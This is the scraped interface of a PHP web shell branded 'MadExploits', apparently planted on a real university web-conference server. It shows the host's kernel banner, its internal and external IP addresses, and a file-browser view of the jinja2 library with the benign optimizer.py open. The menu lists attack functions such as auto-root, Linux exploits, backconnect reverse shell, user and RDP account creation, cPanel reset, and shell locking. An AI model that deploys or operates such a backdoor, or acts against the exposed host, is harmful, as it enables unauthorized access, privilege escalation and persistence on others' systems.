Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.222.161.119
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
jinja2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
2.55
KB
-rw-r--r--
_compat.py
2.54
KB
-rw-r--r--
_identifier.py
1.69
KB
-rw-r--r--
asyncfilters.py
4.05
KB
-rw-r--r--
asyncsupport.py
7.69
KB
-rw-r--r--
bccache.py
12.49
KB
-rw-r--r--
compiler.py
63.85
KB
-rw-r--r--
constants.py
1.59
KB
-rw-r--r--
debug.py
11.76
KB
-rw-r--r--
defaults.py
1.37
KB
-rw-r--r--
environment.py
49.66
KB
-rw-r--r--
exceptions.py
4.32
KB
-rw-r--r--
ext.py
23.93
KB
-rw-r--r--
filters.py
36.19
KB
-rw-r--r--
idtracking.py
8.98
KB
-rw-r--r--
lexer.py
27.95
KB
-rw-r--r--
loaders.py
16.97
KB
-rw-r--r--
meta.py
4.24
KB
-rw-r--r--
nativetypes.py
7.14
KB
-rw-r--r--
nodes.py
30.2
KB
-rw-r--r--
optimizer.py
1.68
KB
-rw-r--r--
parser.py
35.03
KB
-rw-r--r--
runtime.py
27.22
KB
-rw-r--r--
sandbox.py
16.92
KB
-rw-r--r--
tests.py
4.2
KB
-rw-r--r--
utils.py
20.48
KB
-rw-r--r--
visitor.py
3.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : optimizer.py
# -*- coding: utf-8 -*- """ jinja2.optimizer ~~~~~~~~~~~~~~~~ The jinja optimizer is currently trying to constant fold a few expressions and modify the AST in place so that it should be easier to evaluate it. Because the AST does not contain all the scoping information and the compiler has to find that out, we cannot do all the optimizations we want. For example loop unrolling doesn't work because unrolled loops would have a different scoping. The solution would be a second syntax tree that has the scoping rules stored. :copyright: (c) 2017 by the Jinja Team. :license: BSD. """ from jinja2 import nodes from jinja2.visitor import NodeTransformer def optimize(node, environment): """The context hint can be used to perform an static optimization based on the context given.""" optimizer = Optimizer(environment) return optimizer.visit(node) class Optimizer(NodeTransformer): def __init__(self, environment): self.environment = environment def fold(self, node, eval_ctx=None): """Do constant folding.""" node = self.generic_visit(node) try: return nodes.Const.from_untrusted(node.as_const(eval_ctx), lineno=node.lineno, environment=self.environment) except nodes.Impossible: return node visit_Add = visit_Sub = visit_Mul = visit_Div = visit_FloorDiv = \ visit_Pow = visit_Mod = visit_And = visit_Or = visit_Pos = visit_Neg = \ visit_Not = visit_Compare = visit_Getitem = visit_Getattr = visit_Call = \ visit_Filter = visit_Test = visit_CondExpr = fold del fold
Close